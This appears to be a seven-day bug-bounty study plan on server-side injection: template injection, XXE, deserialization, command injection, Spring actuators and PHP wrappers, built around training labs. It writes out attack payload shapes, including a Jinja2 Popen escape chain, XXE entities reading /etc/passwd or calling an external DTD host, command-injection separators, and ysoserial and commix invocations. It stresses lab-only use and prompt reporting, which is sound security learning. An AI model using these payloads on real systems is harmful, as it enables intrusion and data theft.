Week 07 · Server Code ULTIMATE · 7 days × 180 min

Fingerprint first. Escape second. RCE stays in lab.

SSTI → XXE → deserialization → CMDi → SpEL/OGNL + actuators → wrappers Differentials. {{7*7}} math, blind DTD OOB, ping CB only. Critical = reproduce + stop + 24h report.

lab-only RCEOOB proofticks bbv2-07
🎉 Week complete — all boxes ticked. Move to Week 08.
Real 180 min · math evaluated = template, not text

  1. 0:00–0:15 Engine markers: {{ }} vs ${ } vs #{ } vs <% %>

    List Jinja2/Twig {{7*7}}, JSP/SpEL ${7*7}, Pug #{7*7}, ERB <%= 7*7 %>. Read PortSwigger SSTI topic § fingerprint table ONLY.

    PortSwigger: SSTI markers
    Why this matters ▼

    Done-when

    4 markers + 1 example each cold.

  2. 0:15–1:05 Detect → identify → escape: 7*7 per engine + tplmap confirm (lab)

    Do THM learnssti Task 2 (detect ${{<%[%'"}}%) + Task 3 (identify {{7*7}} decision-tree) + Task 4 (Jinja2 syntax) + PortSwigger SSTI labs 1–2 IN ORDER. Confirm with tplmap -u 'URL?name=*7*7' --engine jinja2 detect-only (no --os-shell on live). Decision tree: 49 vs error vs literal.

    THM: learnssti T2–T4All labs: SSTI filter (do basic first)tplmap detectHacker101 CTF: SSTI flags (free)HackTricks: per-engine rows
    Why this matters ▼

    YT/X

    YT: Orange Tsai Jinja2 SSTI RCE Black Hat + STOK SSTI to RCE bug bounty. X: SSTI RCE HackerOne min_faves:50.

    Done-when

    Fingerprint log (marker × result) + tplmap detect.

  3. 1:05–2:00 Orange Tsai Jinja2 RCE + Uber $10k profile-name case

    Read Orange Tsai research § __class__.__mro__[1].__subclasses__()[401] → Popen chain ONLY + THM learnssti Task 5 (RCE) + Task 8 (Uber $10k email-render) — escape step ONLY + H1 #125980 Uber SSTI FULL (profile-name → email render). Lab escape only.

    Orange Tsai: Jinja2 chainTHM: RCE + Uber caseH1 #125980 Uber SSTI
    Why this matters ▼

    Pattern

    Fingerprint → sandbox probe → __mro__→Popen → ping CB (never full shell on live).

    Done-when

    Chain diagram with escape node highlighted.

  4. 2:00–2:35 Smarty/Pug/Jinja2 engine map + sandbox notes

    Do THM serversidetemplateinjection Task 4 (Smarty) + Task 5 (Pug) + Task 6 (Jinja2) + Task 7 (tplmap -u) ONLY. Map marker × escape × tool-confirm.

    THM: Smarty/Pug/Jinja2PATT: SSTI engines
    Why this matters ▼

    Done-when

    3-engine map saved.

  5. 2:35–3:00 Fingerprint-flow test + gaps

    Narrate detect→identify→escape cold. Triage gaps (XXE next).

    PortSwigger: re-check
    Why this matters ▼

    Done-when

    Recited + map archived.

Hunter mindset: 49 = template. Literal = text.
Real 180 min · .xml/upload = XXE signal

  1. 0:00–0:15 DOCTYPE/entity/DTD + blind-OOB shape

    Write <!DOCTYPE x [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> + external-DTD callback shape. Read PortSwigger XXE topic § in-band vs blind ONLY.

    PortSwimmer: XXE shapes
    Why this matters ▼

    Done-when

    Shapes + 2 proof types cold.

  2. 0:15–1:05 In-band → blind DTD → error-based (lab)

    Do PortSwigger XXE labs (in-band file-read → blind external-DTD → error-based) IN ORDER + THM xxe room (classic/blind/DTD) ONLY. Blind: <!ENTITY % xxe SYSTEM "http://CB/evil.dtd"> + Collaborator poll, lab ONLY. YT: IppSec XXE blind DTD exfiltration.

    Lab: XXE retrieve files firstAll labs: XXE filterTHM: xxe classic/blindHackTricks: DTD rows
    Why this matters ▼

    Done-when

    3 proofs (read + OOB + error) in lab.

  3. 1:05–2:00 SVG XXE + blind-OOB + SSRF-via-XXE pivot

    Read H1 #308448 XXE critical (SVG/DTD OOB) FULL — ENTITY + callback ONLY + 1 SVG-upload XXE (Week 09 bridge) — upload vector ONLY. Note SSRF pivot (SYSTEM "http://169.254.169.254/") theory.

    H1 #308448 XXE criticalPATT: SVG/upload rows
    Why this matters ▼

    X

    Search blind XXE OOB HackerOne for DTD callback logs.

    Done-when

    ENTITY + DTD + pivot noted.

  4. 2:00–2:35 Parser × vector matrix (XML/SVG/DOCX/SOAP)

    Map vectors + WSTG XML-injection headings ONLY. Note Java/.NET parser differences for Week 12 pollution bridge.

    WSTG: XML injection
    Why this matters ▼

    Done-when

    Matrix saved.

  5. 2:35–3:00 Blind-XXE proof test + gaps

    Narrate DTD callback flow cold. Triage gaps (deser next).

    PortSwigger: re-check
    Why this matters ▼

    Done-when

    Recited + matrix archived.

Hunter mindset: Upload + XML = parse it like attacker.
Real 180 min · never brute RCE on prod

  1. 0:00–0:15 Magic bytes: Java / PHP / Python / .NET

    List rO0 (Java) + O:8 (PHP) + pickle \x80 + ViewState. Read PortSwigger deserialization § identification ONLY.

    PortSwigger: deser identify
    Why this matters ▼

    Done-when

    4 markers + lib map started.

  2. 0:15–1:05 Labs: identify → gadget → OOB ping (lab, no detonation)

    Do PortSwigger deser labs (identify + OOB) + THM deserialization room ONLY. Generate ysoserial CommonsCollections7 'ping CB.oast.fun' | base64 OOB ONLY (no RCE). HackTricks deser § per-language gadgets READ ONLY.

    PortSwigger: deser labsAll labs: deser filterTHM: deserializationysoserial OOB onlyHackTricks: gadgets
    Why this matters ▼

    X

    Search deserialization gadget bounty for lib→CVE match stories.

    Done-when

    Lib map + OOB ping (lab), no detonation.

  3. 1:05–2:00 unserialize RCE + pickle cases (which gadget fired)

    Read 1 PHP unserialize + 1 Python pickle — gadget name + sink ONLY. Note why it patches fastest (RCE + wormable).

    HackTricks: unserialize/picklepentester.land: deser cases
    Why this matters ▼

    Done-when

    2 gadget notes + patch-urgency line.

  4. 2:00–2:35 Lib map + version→CVE match

    Map libs (CommonsCollections, Jackson, node-serialize, pickle) → NVD search 1 candidate (no exploit).

    NVD: lib CVE match
    Why this matters ▼

    Done-when

    Map + 1 CVE candidate.

  5. 2:35–3:00 Patch-fast test + gaps

    Explain why deser patches fastest. Triage gaps (CMDi next).

    PortSwigger: re-check
    Why this matters ▼

    Done-when

    Recited + map archived.

Hunter mindset: OOB ping proves sink. Detonation proves ban.
Real 180 min · user input → shell-out = RCE

  1. 0:00–0:15 Separators + blind-confirm shapes

    List ; | && $() `` + sleep/ping/Collaborator confirms. Read PortSwigger CMDi topic § direct vs blind ONLY + WSTG command-injection § objectives ONLY.

    PortSwigger: CMDi shapesWSTG: CMDi
    Why this matters ▼

    Done-when

    Separators + 3 confirms cold.

  2. 0:15–1:05 Direct → blind time → OOB (lab)

    Do PortSwigger CMDi labs (direct + blind-time + OOB) + THM commandinjection room ONLY. Proofs: ;id → ;sleep 5 (baseline first) → ;ping -c1 CB. PATT CMDi rows + commix --batch --os-cmd="whoami" on LAB ONLY.

    Lab: CMDi simple firstAll labs: CMDi filterTHM: CMDicommix batch (lab)PATT: CMDi rows
    Why this matters ▼

    Done-when

    3 proofs with baselines (lab).

  3. 1:05–2:00 Image-convert + ping-host RCE cases

    Read 1 image-convert (ImageMagick/ExifTool) + 1 ping-host utility RCE — sink + separator ONLY. Note language contexts (PHP/Python/Node/Java) per HackTricks.

    HackTricks: sink contextspentester.land: convert/host RCE
    Why this matters ▼

    Stacks

    convert/export/mail/ping features = shell-out smells. CVE-2016-3714/2021-22204 pattern (Week 09 bridge).

    Done-when

    2 sink notes with separators.

  4. 2:00–2:35 Sink map + filter table (lab)

    Map sinks + bypasses (space alternatives $IFS, quotes, encoding). SecLists 5-line drill, lab only.

    PATT: filter rows
    Why this matters ▼

    Done-when

    Map + table saved.

  5. 2:35–3:00 Blind-CMDi flow test + gaps

    Narrate blind confirm (baseline → sleep → OOB). Triage gaps (Spring next).

    PortSwigger: re-check
    Why this matters ▼

    Done-when

    Recited + map archived.

Hunter mindset: Baseline or it is network jitter.
Real 180 min · stack tells payload

  1. 0:00–0:15 SpEL ${} vs OGNL %{} + actuator paths

    List ${T(java.lang.Runtime)...} + %{...} + /actuator/env/mappings/beans/heapdump. Read HackTricks Spring actuators § paths ONLY.

    HackTricks: actuator paths
    Why this matters ▼

    Done-when

    Syntaxes + 4 paths cold.

  2. 0:15–1:05 Actuator exposure + SpEL eval (lab)

    Probe /actuator/* (GET only, lab) + SpEL ${7*7} eval. Map exposed endpoints (mappings/env/beans). nuclei CVE-2022-22965.yaml + http/exposures/spring/ on LAB ONLY.

    HackTricks: exposure drillnuclei: spring templates (lab)
    Why this matters ▼

    Done-when

    Actuator map + 1 eval result (lab).

  3. 1:05–2:00 Spring4Shell pattern + actuator-leak case

    Read NVD CVE-2022-22965 § description + affected versions ONLY + 1 actuator-leak (env keys / heapdump) — exposed path + key type ONLY. YT: Spring4Shell CVE-2022-22965 exploit explained.

    NVD: Spring4Shellpentester.land: actuator leak
    Why this matters ▼

    Pattern

    Actuator map → SpEL inject → shell. Version log → advisory match (Week 02 skill pays here).

    Done-when

    Pattern + version-check noted.

  4. 2:00–2:35 Struts2/OGNL CVE match against your stack log

    Check your Week-02 version log for Java/Spring/Struts. NVD 1-candidate match, no exploit. Note Text4Shell/SnakeYAML patterns by name only.

    NVD: stack match
    Why this matters ▼

    Done-when

    Match result (yes/no + versions).

  5. 2:35–3:00 Actuator-paths test + gaps

    Recite 4 paths + SpEL shape. Triage gaps (wrappers next).

    HackTricks: re-check
    Why this matters ▼

    Done-when

    Recited + map archived.

Hunter mindset: Exposed actuator = free recon.
Real 180 min · system disagrees with itself = bug

  1. 0:00–0:15 php:// wrappers + double-encode/unicode

    List filter/convert.base64-encode + zip + data + expect + %252e + unicode. Read HackTricks LFI § wrappers table ONLY.

    HackTricks: wrapper table
    Why this matters ▼

    Done-when

    Wrappers + 2 encodings cold.

  2. 0:15–1:05 Wrapper matrix on lab (filter/zip/data + encodings)

    Test php://filter/convert.base64-encode/resource=index source disclosure + double-encode + unicode (lab). Log front-vs-back disagreements. YT: LiveOverflow Breaking Parser Logic — differential mindset segment.

    HackTricks: wrapper drillPATT: wrapper rows
    Why this matters ▼

    Done-when

    Matrix (wrapper × bypass × result).

  3. 1:05–2:00 Parser-0day + wrapper source-disclosure cases

    Read 1 parser-differential 0day summary (SVG vs XML, UTF-7, polyglot — disagreement point ONLY) + 1 wrapper source-disclosure (config key found) — wrapper used ONLY.

    pentester.land: parser/wrapper
    Why this matters ▼

    Surprise

    Parser differentials are Week 08 smuggling/cache fuel — same disagreement class, new protocol.

    Done-when

    2 disagreement points noted.

  4. 2:00–2:35 Differential log + bypass table

    Consolidate + note Content-Type tricks (image/svg+xml as XML).

    HuntBook: differential log
    Why this matters ▼

    Done-when

    Log + table saved.

  5. 2:35–3:00 Wrapper use-case test + gaps

    Explain your best wrapper end-to-end. Triage gaps (live hunt next).

    HackTricks: re-check
    Why this matters ▼

    Done-when

    Recited + matrix archived.

Hunter mindset: Two parsers, one input = bug farm.
Real 180 min · critical = reproduce + stop + 24h

  1. 0:00–0:15 Stack→class routing recall

    Route your VDP stack (Jinja2→profile fields, Spring→actuators, XML/SVG→upload, Java ser→OOB). Check HuntBook stack-routing headings ONLY.

    HuntBook: stack routing
    Why this matters ▼

    Done-when

    Routing table for live target.

  2. 0:15–1:05 Engine/parser/upload probes with baselines (VDP, gentle)

    Probe {{7*7}} fingerprint (read-only render check) + parser Content-Type swap + upload SVG probe (no XXE detonation) + actuator GETs. Baselines each. No reverse-shells, no deserialization detonation, no actuator shutdown.

    PortSwigger: safe fingerprintHackTricks: safe actuator GETs
    Why this matters ▼

    X

    Accounts: @orange_8361 for SSTI threads (read-only today).

    Done-when

    Probes + baselines, no DoS/detonation.

  3. 1:05–2:00 Same-stack CVE disclosures (2)

    Read H1 hacktivity same-stack (SSTI/XXE/Spring) 2 — injection point + fingerprint ONLY. Compare your probe coverage.

    H1: same-stack searchH1: mirror
    Why this matters ▼

    Done-when

    2 patterns + coverage gap.

  4. 2:00–2:35 RCE playbook update + candidate triage (stop rule armed)

    Update playbook (fingerprint→escape→OOB). Triage: OOB/callback = keep + stop; silent = log + move. If critical fires: freeze, screenshot callback, 24h report.

    PATT: RCE playbook rowsCommunity: lab solutions by topic (attempt first)
    Why this matters ▼

    Done-when

    Playbook + triage + stop-rule armed.

  5. 2:35–3:00 RCE triage test + gaps to Week 08

    Recite triage + stop rule. Assign gaps (fetch/SSRF sinks) to Week 08.

    HuntBook: triage + stop
    Why this matters ▼

    Done-when

    Recited + archive + assignments.

Hunter mindset: Fingerprint on live, detonate in lab.